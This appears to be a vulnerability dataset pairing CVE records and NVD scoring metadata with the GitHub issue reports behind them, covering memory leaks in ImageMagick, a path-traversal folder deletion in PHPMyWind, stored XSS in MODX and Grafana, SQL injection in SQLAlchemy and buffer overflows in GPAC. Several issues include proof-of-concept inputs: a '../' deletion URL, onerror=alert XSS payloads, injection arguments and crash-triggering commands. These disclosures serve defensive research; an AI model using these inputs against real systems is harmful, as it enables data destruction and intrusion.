RelinquishMagickMemory( + compressed_pixels); return(0); } } ``` ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information:  Credit to Bingchang Liu at VARAS of IIE

memory leak in WritePSDChannel in coders/psd.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1451/comments

2

2019-01-17T03:11:55Z

2019-02-12T01:45:47Z

https://github.com/ImageMagick/ImageMagick/issues/1451

400,092,278

1,451

129

CVE-2019-7396

2019-02-05T00:29:00.447

In ImageMagick before 7.0.8-25, a memory leak exists in ReadSIXELImage in coders/sixel.c.

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[ "401" ]

401

https://github.com/ImageMagick/ImageMagick/issues/1452

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  potential memory leak in ReadSIXELImage in sixel.c ### Steps to Reproduce  The first critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L539 ```c if (imsx > max_x || imsy > max_y) { // line 539 dmsx = max_x; dmsy = max_y; if (SetImageExtent(image,dmsx,dmsy,exception) == MagickFalse) { imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); return (MagickFalse); } if ((dmbuf = (unsigned char *) AcquireQuantumMemory(dmsx , dmsy)) == NULL) { //line 547 imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); return (MagickFalse); } for (y = 0; y < dmsy; ++y) { (void) memcpy(dmbuf + dmsx * y, imbuf + imsx * y, dmsx); } imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); imsx = dmsx; imsy = dmsy; imbuf = dmbuf; //line 557 } *pixels = imbuf; //line 560 *pwidth = imsx; *pheight = imsy; *ncolors = max_color_index + 1; *palette = (unsigned char *) AcquireQuantumMemory(*ncolors,4); // line 564 if (*palette == (unsigned char *) NULL) return(MagickFalse); // line 566 ``` When condition at line **539** is satisfied and **dmbuf** is successfully allocated at line **547**, the value of dmbuf is assigned to **imbuf** at line **557** and is finally assigned to the pointer parameter **pixels** at line **560** (i.e. the buf's address is passed outside to the caller function). Now, when the allocation at line **564** failed, the function will return *MagickFalse* at line **566**. Next, I searched the whole project code and only found one call to **sixel_decode** which locates in function **ReadSIXELImage** in sixel.c at line **1057** as the following. The local variable **sixel_pixels** holds the value of **dmbuf**. https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L1057 ```c if (sixel_decode(image,(unsigned char *) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) // line 1057 { sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); ThrowReaderException(CorruptImageError,"CorruptImage"); } sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); image->depth=24; image->storage_class=PseudoClass; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) { sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels); // line 1068 sixel_palette=(unsigned char *) RelinquishMagickMemory(sixel_palette); return(DestroyImageList(image)); } ``` However, when function *sixel_decode* returned *MagickFalse* as described above, the memory pointed by **sixel_pixels** (i.e. the memory allocated at line 547) was not freed as done at line **1068**. As a result, a memory leak happens. Patch Suggestion: ```c if (sixel_decode(image,(unsigned char *) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) { sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); + sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels); ThrowReaderException(CorruptImageError,"CorruptImage"); } ``` ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information:  Credit to Bingchang Liu at VARAS of IIE

Potential Memory Leak in ReadSIXELImage in coders/sixel.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1452/comments

2

2019-01-17T04:06:51Z

2019-03-11T01:54:07Z

https://github.com/ImageMagick/ImageMagick/issues/1452

400,102,085

1,452

130

CVE-2019-7397

2019-02-05T00:29:00.510

In ImageMagick before 7.0.8-25 and GraphicsMagick through 1.3.31, several memory leaks exist in WritePDFImage in coders/pdf.c.

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[ "401" ]

401

https://github.com/ImageMagick/ImageMagick/issues/1454

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  Potential memory leak in function WritePDFImage in coders/pdf.c, which is similar to but different from #576. ### Steps to Reproduce  **xref** is allocated at line [L1362](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362) or reallocated at line [L1499](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1499). ```c 1362: xref=(MagickOffsetType *) AcquireQuantumMemory(2048UL,sizeof(*xref)); 1499: xref=(MagickOffsetType *) ResizeQuantumMemory(xref,(size_t) count+2048UL, sizeof(*xref)); ``` However, when the function returns with *MagickFalse* (such as [L1902](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1902) and [L1912](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1912)), **xref** was neither passed outside to the caller function nor freed. I believe the two positions needs to free **xref** because **xref** is freed at the **default case** at [L1931](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1931) while the 2 positions locates in another 2 cases of a switch statement. So memory leak can happen at line **1902** and **1912**. There are many similar positions including [L1965](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1965), [L2011](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2011), [L2021](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2021), [L2082](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2082), [L2179](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2179), [L2427](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362), [L2437](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2437), [L2488](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2488), [L2529](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2529), [L2539](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2539), [L2594](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2594), [L2682](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2682) and [L2894](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2894). ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 + VS Code - Additional information: code review  Credit to Bingchang Liu of VARAS of IIE

Potential Memory Leak in WritePDFImage in coders/pdf.c different from #576

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1454/comments

2

2019-01-17T11:10:56Z

2019-02-12T01:46:36Z

https://github.com/ImageMagick/ImageMagick/issues/1454

400,226,040

1,454

131

CVE-2019-7398

2019-02-05T00:29:00.570

In ImageMagick before 7.0.8-25, a memory leak exists in WriteDIBImage in coders/dib.c.

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[ { "source": "cve@mitre.org", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "cve@mitre.org", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106848" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1453" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106848" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1453" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]

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[ "401" ]

401

https://github.com/ImageMagick/ImageMagick/issues/1453

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  memory leak in WriteDIBImage in coders/dib.c ### Steps to Reproduce  The critical code snippets are: https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1330 ```c if (dib_info.bits_per_pixel == 8) //line 1330 if (image_info->compression != NoCompression) //line 1331 { size_t length; /* Convert run-length encoded raster pixels. */ length=2UL*(bytes_per_line+2UL)+2UL; dib_data=(unsigned char *) AcquireQuantumMemory(length, // line 1340 (image->rows+2UL)*sizeof(*dib_data)); if (dib_data == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } dib_info.image_size=(unsigned int) EncodeImage(image,bytes_per_line, pixels,dib_data); pixels=(unsigned char *) RelinquishMagickMemory(pixels); pixels=dib_data; // line 1350 dib_info.compression = BI_RLE8; } ``` and https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1367 ```c if (image->storage_class == PseudoClass) //line 1367 { if (dib_info.bits_per_pixel <= 8) //line 1369 { unsigned char *dib_colormap; /* Dump colormap to file. */ dib_colormap=(unsigned char *) AcquireQuantumMemory((size_t) (1UL << dib_info.bits_per_pixel),4*sizeof(*dib_colormap)); if (dib_colormap == (unsigned char *) NULL) // line 1379 ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); // line 1380 q=dib_colormap; ``` According to the code in function WriteDIBImage before line 1330, when **image->storage_class** is not **DirectClass** (i.e. storage class is **PseudoClass**) and **image_info->depth<=8**, **dib_info.bits_per_pixel** can be equal to **8** (at line 1151-1155), as a result, **dib_info.compression** will be BI_RGB (at line 1164-1165). **So the 4 conditions at line 1330, 1331, 1367 and 1369 can be satisfied at the same time in some setting.** When the 4 conditions are satisfied and **dib_data** is successfully allocated at line **1340**, **dib_data** will be assigned to **pixels** at line **1350**. However, when the allocation at line **1377** fails, the function don't free **dib_data** memory as done at line **1410** before returning with exception at line **1378**. As a result, a memory leak will happen. The size of leaked memory is 4*((image->columns*dib_info.bits_per_pixel+31)/32)*(image->rows+2UL)*sizeof(*dib_data) = (image->columns + 4) * (image->rows + 2) * sizeof(*dib_data), which may be a large value. (ps. dib_info.bits_per_pixel is 8) Patch Suggestion: ```c dib_colormap=(unsigned char *) AcquireQuantumMemory((size_t) // line 1377 (1UL << dib_info.bits_per_pixel),4*sizeof(*dib_colormap)); if (dib_colormap == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } q=dib_colormap; ``` ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information:  Credit to Bingchang Liu at VARAS of IIE

Potential Memory Leak in WriteDIBImage in coders/dib.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1453/comments

2

2019-01-17T06:50:47Z

2019-02-12T01:46:59Z

https://github.com/ImageMagick/ImageMagick/issues/1453

400,133,504

1,453

132

CVE-2019-7403

2019-02-05T16:29:00.290

An issue was discovered in PHPMyWind 5.5. It allows remote attackers to delete arbitrary folders via an admin/database_backup.php?action=import&dopost=deldir&tbname=../ URI.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/panghusec/exploit/issues/9" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/panghusec/exploit/issues/9" } ]

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[ "22" ]

22

https://github.com/panghusec/exploit/issues/9

[ "Exploit", "Third Party Advisory" ]

github.com

[ "panghusec", "exploit" ]

## Attackers can Delete any file on the system #### 1.First download the phpmywind the Latest version from [http://phpmywind.com/downloads/PHPMyWind_5.5.zip](url) #### 2.install it #### 3.login as Admin #### 4.There is a bbb folder under the c drive ![](https://github.com/0linlin0/Records/blob/master/images/3.png?raw=true) #### 5.Access the URL in the browser http://127.0.0.1:8080/phpmywind/admin/database_backup.php?action=import&dopost=deldir&tbname=../../../../../../../bbb #### 6.success ![](https://github.com/0linlin0/Records/blob/master/images/4.png?raw=true) ![](https://github.com/0linlin0/Records/blob/master/images/5.png?raw=true)

Arbitrary File Delete Vulnerability

https://api.github.com/repos/panghusec/exploit/issues/9/comments

0

2019-02-05T12:42:54Z

https://github.com/panghusec/exploit/issues/9

406,765,121

9

134

CVE-2018-20755

2019-02-06T17:29:00.267

MODX Revolution through v2.7.0-pl allows XSS via the User Photo field.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/modxcms/revolution/issues/14102" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/modxcms/revolution/issues/14102" } ]

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[ "79" ]

79

https://github.com/modxcms/revolution/issues/14102

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "modxcms", "revolution" ]

Stored XSS: The application is vulnerable to stored XSS. Step to reproduce Under Manage -> Users sources choose Create New User and enter the Xss Payload ```" onerror="alert(1)``` in the User Photo field and click on save. The application renders the entered script and displays a pop-up whenever the page is being visited by the user. Observed behavior The application processes the html tags or scripts and it is getting stored in the database. Expected behavior It should not accept any scripts or html tags. Environment MODX version:MODX Revolution 2.6.5-pl

Stored XSS: User Photo

https://api.github.com/repos/modxcms/revolution/issues/14102/comments

1

2018-10-02T03:58:45Z

2019-02-06T17:09:57Z

https://github.com/modxcms/revolution/issues/14102

365,731,649

14,102

135

CVE-2018-20756

2019-02-06T17:29:00.313

MODX Revolution through v2.7.0-pl allows XSS via a document resource (such as pagetitle), which is mishandled during an Update action, a Quick Edit action, or the viewing of manager logs.

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[ "79" ]

79

https://github.com/modxcms/revolution/issues/14105

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "modxcms", "revolution" ]

Create new document with pagetitle ```</title><img src=# onerror=alert(1); /><!--``` XSS work in: - Update - Quick edit - View manager logs

Stored XSS via document resources

https://api.github.com/repos/modxcms/revolution/issues/14105/comments

1

2018-10-02T04:21:54Z

2019-02-06T17:10:07Z

https://github.com/modxcms/revolution/issues/14105

365,735,661

14,105

136

CVE-2018-20757

2019-02-06T17:29:00.360

MODX Revolution through v2.7.0-pl allows XSS via an extended user field such as Container name or Attribute name.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/modxcms/revolution/issues/14104" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/modxcms/revolution/issues/14104" } ]

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[ "79" ]

79

https://github.com/modxcms/revolution/issues/14104

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "modxcms", "revolution" ]

**Container name** ``` <img src=# onerror=alert(1); /> ``` **Attribute name** ``` <img src=# onerror=alert(2); /> ```

Stored XSS: extended user fields

https://api.github.com/repos/modxcms/revolution/issues/14104/comments

1

2018-10-02T04:10:21Z

2019-02-06T17:10:21Z

https://github.com/modxcms/revolution/issues/14104

365,733,803

14,104

137

CVE-2018-20758

2019-02-06T17:29:00.407

MODX Revolution through v2.7.0-pl allows XSS via User Settings such as Description.

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[ "79" ]

79

https://github.com/modxcms/revolution/issues/14103

[ "Patch", "Third Party Advisory" ]

github.com

[ "modxcms", "revolution" ]

![Alt text](https://monosnap.com/image/1SJ98Z3yuvdTJNDahdEkYKweQFjyD2.png)

Stored XSS: User Settings

https://api.github.com/repos/modxcms/revolution/issues/14103/comments

1

2018-10-02T04:04:29Z

2019-02-06T17:10:30Z

https://github.com/modxcms/revolution/issues/14103

365,732,760

14,103

138

CVE-2015-9282

2019-02-06T19:29:00.240

The Pie Chart Panel plugin through 2019-01-02 for Grafana is vulnerable to XSS via legend data or tooltip data. When a chart is included in a Grafana dashboard, this vulnerability could allow an attacker to gain remote unauthenticated access to the dashboard.

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[ "79" ]

79

https://github.com/grafana/grafana/issues/4117

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "grafana", "grafana" ]

Text panels can contain any html and therefore pose an XSS security problem. Grafana should come with a backend option to disable and or sanitize html in text panels.

XSS: Option to disable and / or sanitize html in text panels

https://api.github.com/repos/grafana/grafana/issues/4117/comments

5

2016-02-22T18:46:37Z

2019-03-04T08:32:20Z

https://github.com/grafana/grafana/issues/4117

135,505,506

4,117

139

CVE-2015-9282

2019-02-06T19:29:00.240

The Pie Chart Panel plugin through 2019-01-02 for Grafana is vulnerable to XSS via legend data or tooltip data. When a chart is included in a Grafana dashboard, this vulnerability could allow an attacker to gain remote unauthenticated access to the dashboard.

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[ "79" ]

79

https://github.com/grafana/piechart-panel/issues/3

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "grafana", "piechart-panel" ]

Applies to every type of legend - On Graph, Table and Right side. ![piechart_xss](https://cloud.githubusercontent.com/assets/6756744/11918961/32922d54-a744-11e5-9eaa-ad053ce02f43.png)

XSS in piechart legend

https://api.github.com/repos/grafana/piechart-panel/issues/3/comments

4

2015-12-20T17:06:23Z

2019-02-07T18:07:37Z

https://github.com/grafana/piechart-panel/issues/3

123,171,670

3

140

CVE-2019-7548

2019-02-06T21:29:01.063

SQLAlchemy 1.2.17 has SQL Injection when the group_by parameter can be controlled.

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[ "89" ]

89

https://github.com/sqlalchemy/sqlalchemy/issues/4481#issuecomment-461204518

[ "Patch", "Third Party Advisory" ]

github.com

[ "sqlalchemy", "sqlalchemy" ]

@zzzeek 1、SQLAlchemy through 1.2.17 and 1.3.x through 1.3.0b2 allows SQL Injection via the order_by parameter. 2、exp - save the code to local: https://github.com/21k/sqlalchemy/blob/master/dal.py - exec code at shell terminal --------------------------------- python dal.py 'if(1=1,create_time,username)' python dal.py 'if(1=2,create_time,username)' python dal.py 'create_time' --------------------------------- - the vul happens at fun order_by 3、reserved by CVE-2019-7164

fully deprecate textual coercion in where(), filter(), order_by(), add docnotes not to pass untrusted input to thsee

https://api.github.com/repos/sqlalchemy/sqlalchemy/issues/4481/comments

35

2019-01-31T18:03:14Z

2021-07-14T12:27:31Z

https://github.com/sqlalchemy/sqlalchemy/issues/4481

405,370,167

4,481

141

CVE-2018-20760

2019-02-06T23:29:00.230

In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because a certain -1 return value is mishandled.

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[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/4c1360818fc8948e9307059fba4dc47ba8ad255d" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1177" }, { "source": "cve@mitre.org", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/4c1360818fc8948e9307059fba4dc47ba8ad255d" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1177" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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[ "787" ]

787

https://github.com/gpac/gpac/issues/1177

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

In gf_text_get_utf8_line function, gf_utf8_wcstombs return -1 with crafted srt file, it will cause szLineConv[i] = 0 out of bound write root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -add crafted.srt overview.mp4 (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -add crafted.srt overview.mp4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Program received signal SIGBUS, Bus error. 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 272 szLineConv[i] = 0; (gdb) bt #0 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 #1 0x00007ffff79b39c6 in gf_text_import_srt (import=0x7fffffff6030) at media_tools/text_import.c:429 #2 0x00007ffff79bd165 in gf_import_timed_text (import=0x7fffffff6030) at media_tools/text_import.c:2644 #3 0x00007ffff7933f09 in gf_media_import (importer=0x7fffffff6030) at media_tools/media_import.c:10619 #4 0x000000000043727a in import_file (dest=0x65d010, inName=0x7fffffffe7f6 "crafted.srt", import_flags=0, force_fps=0, frames_per_sample=0) at fileimport.c:685 #5 0x000000000041bdac in mp4boxMain (argc=4, argv=0x7fffffffe578) at main.c:4177 #6 0x000000000042215e in main (argc=4, argv=0x7fffffffe578) at main.c:5695 (gdb)

OOB issue of gf_text_get_utf8_line

https://api.github.com/repos/gpac/gpac/issues/1177/comments

4

2018-12-13T10:41:00Z

2022-08-25T08:25:32Z

https://github.com/gpac/gpac/issues/1177

390,618,242

1,177

142

CVE-2018-20761

2019-02-06T23:29:00.293

GPAC version 0.7.1 and earlier has a Buffer Overflow vulnerability in the gf_sm_load_init function in scene_manager.c in libgpac_static.a.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1186" }, { "source": "cve@mitre.org", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1186" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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[ "119" ]

119

https://github.com/gpac/gpac/issues/1186

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

There is a buffer overflow issue in gf_sm_load_init () function, scene_manager.c GF_Err gf_sm_load_init(GF_SceneLoader *load) { …… ext = (char *)strrchr(load->fileName, '.'); if (!ext) return GF_NOT_SUPPORTED; if (!stricmp(ext, ".gz")) { char *anext; ext[0] = 0; anext = (char *)strrchr(load->fileName, '.'); ext[0] = '.'; ext = anext; } strcpy(szExt, &ext[1]); // buffer overflow here. …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -inctx inScene.exttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt -out output.txt -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) *** stack smashing detected ***: ./MP4Box terminated Aborted (core dumped)

buffer overflow issue 3#

https://api.github.com/repos/gpac/gpac/issues/1186/comments

3

2018-12-22T02:44:19Z

2022-08-25T08:33:41Z

https://github.com/gpac/gpac/issues/1186

393,636,374

1,186

143

CVE-2018-20762

2019-02-06T23:29:00.370

GPAC version 0.7.1 and earlier has a buffer overflow vulnerability in the cat_multiple_files function in applications/mp4box/fileimport.c when MP4Box is used for a local directory containing crafted filenames.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

